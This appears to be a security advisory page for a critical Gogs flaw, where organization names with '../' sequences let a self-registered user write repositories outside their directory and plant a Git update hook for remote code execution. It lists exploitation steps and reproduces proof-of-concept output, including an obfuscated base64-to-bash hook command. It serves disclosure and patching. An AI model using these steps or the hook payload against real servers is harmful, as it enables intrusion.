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GHSA-c39w-43gm-34h5 CVE-2026-52813 GO-2026-5305

Gogs has Path Traversal in organization name that results in RCE through Git hooks

Critical Go
Severity
10.0 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
1.11%
Chance of exploitation in the next 30 days. Higher than 65.85% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-23 Relative Path Traversal
Fix
0.14.3
Upgrade gogs.io/gogs to this version or later

Description

Summary

Organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem. By creating nested structure of Git repositories, one can overwrite the other's hooks configuration to result in Remote Code Execution (RCE).

Details

During organization creation, internal/database/org.go calls os.MkdirAll(repox.UserPath(org.Name)) without sanitizing org.Name.

https://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/database/org.go#L165

Repository creation uses this name to decide where to write the Git bare repository's (org/name.git). By setting the org name to ../../../../tmp/test, and creating a repository under that organization, it gets written under /tmp/test on the server.

https://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/repox/repox.go#L57-L58

An attacker can abuse this in a clever way by writing to the /data/gogs/data/tmp/local-r/1 directory, being a local worktree of the git repositories inside of Gogs. These directories are editable by Git. By creating a repository nested inside of there, files like config and hooks/update are now referenced through the path traversal, and are editable by Git. This allows the attacker to edit the hooks/update script with malicious Bash commands and then to trigger the hook.

The steps to exploit this inside of Gogs are roughly (ignoring some syncing dummy actions):

  1. Create regular outer repository and get its ID
  2. Create organization named ../../../../data/gogs/data/tmp/local-r/{ID}/nested
  3. Create a repository inside this organization (eg. rce), which will be written into the local clone of the outer repository
  4. From the outer repository, edit nested/rce.git/hooks/update to contain malicious shell commands
  5. Interact with the rce repository again to trigger the updated hook, and RCE is achieved

PoC

  1. Set up a default Gogs instance by saving the following content to docker-compose.yml and running docker compose up:
services:
  db:
    image: postgres:16-alpine
    environment:
      POSTGRES_USER: gogs
      POSTGRES_PASSWORD: gogs
      POSTGRES_DB: gogs
    volumes:
      - postgres-data:/var/lib/postgresql/data
    restart: unless-stopped
    healthcheck:
      test: [ "CMD-SHELL", "pg_isready -U gogs -d gogs" ]
      interval: 5s
      timeout: 5s
      retries: 5

  gogs:
    image: gogs/gogs
    depends_on:
      db:
        condition: service_healthy
    ports:
      - "3000:3000"
    volumes:
      - gogs-data:/data
    restart: unless-stopped

volumes:
  gogs-data:
  postgres-data:
  1. Visit http://localhost:3000, set the Host to db:5432 and Password to gogs. Under Admin Account Settings configure your admin account
  2. As the attacker, register an account with username attacker and password attacker at http://localhost:3000/user/sign_up
  3. As the attacker, run the following script (in gist to avoid cluttering this advisory):

https://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9

The output should look like:

$ python3 gogs-rce.py
step 1 token ok
step 2 create personal repo 201 full_name attacker/writer-bd426045
step 3 web editor new file on attacker / writer-bd426045
step 4 GET writer repo -> local-r 1
step 5 create org 201 local-r 1 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 6 get org 200 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 7 create repo 201 full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 html_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 clone_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7.git
step 8 get repo 200 owner.username ../../../../data/gogs/data/tmp/local-r/1/nested full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 empty False
Cloning into '/tmp/poc-writer-fy4k5064'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Unpacking objects: 100% (6/6), 491 bytes | 491.00 KiB/s, done.
step 9 clone writer repo -> /tmp/poc-writer-fy4k5064
[master 3cf84b2] poc: nested/rce-b175aca7.git hook path
 1 file changed, 1 insertion(+)
 create mode 100755 nested/rce-b175aca7.git/hooks/update
step 10 write nested/rce-b175aca7.git/hooks/update with echo 'aWQ=' | base64 -d | bash > pwned
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 14 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (6/6), 1022 bytes | 1022.00 KiB/s, done.
Total 6 (delta 0), reused 0 (delta 0), pack-reused 0
To http://localhost:3000/attacker/writer-bd426045.git
   b0b9886..3cf84b2  master -> master
step 11 push writer
step 12 API new file on attacker / writer-bd426045
step 13 API new file on org ../../../../data/gogs/data/tmp/local-r/1/nested / rce-b175aca7
step 14 API new file on attacker / writer-bd426045
step 15 GET raw pwned 200 http://localhost:3000/attacker/writer-bd426045/raw/master/nested/rce-b175aca7.git/pwned

=== COMMAND OUTPUT ===
uid=1000(git) gid=1000(git) groups=1000(git)

Impact

In the default setting, users can self-register and then create their own organizations. From here they can perform this exploit to achieve RCE as the git user.

Affected versions

Go

PackageVulnerableFixed in
gogs.io/gogs
< 0.14.3
0.14.3
gogs.io/gogs
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

gogs.io/gogs Go → 0.14.3

go
go get gogs.io/gogs@v0.14.3 && go mod tidy

Severity breakdown

CVSS 3.1 10.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-23: Relative Path Traversal

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-mq8m-42gh-wq7r
Gogs vulnerable to a bypass of CVE-2024-55947
High Known exploited Also affects gogs.io/gogs
GHSA-3w28-36p9-w929
Gogs's Unauthenticated Jupyter Notebook (ipynb) Sanitizer allows arbitrary data: URIs leading to XSS
Medium Also affects gogs.io/gogs
GHSA-744x-3838-5r56
Gogs Vulnerable to Unauthenticated Organization Teams Information Disclosure via API
Medium Also affects gogs.io/gogs
GHSA-xp79-5mx3-jx52
Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion)
Medium Also affects gogs.io/gogs
GHSA-6p9m-q3jp-47h4
Gogs: LFS dedupe path leaks private repo content across tenants
High Also affects gogs.io/gogs
GHSA-89mr-xqfv-758m
Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym
Critical Also affects gogs.io/gogs
GHSA-wmfg-5p4h-5fw3
Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion
High Also affects gogs.io/gogs
GHSA-5c3f-6486-3g7g
Gogs's password-reset tokens use account-activation lifetime, ignoring RESET_PASSWORD_CODE_LIVES
Medium Also affects gogs.io/gogs
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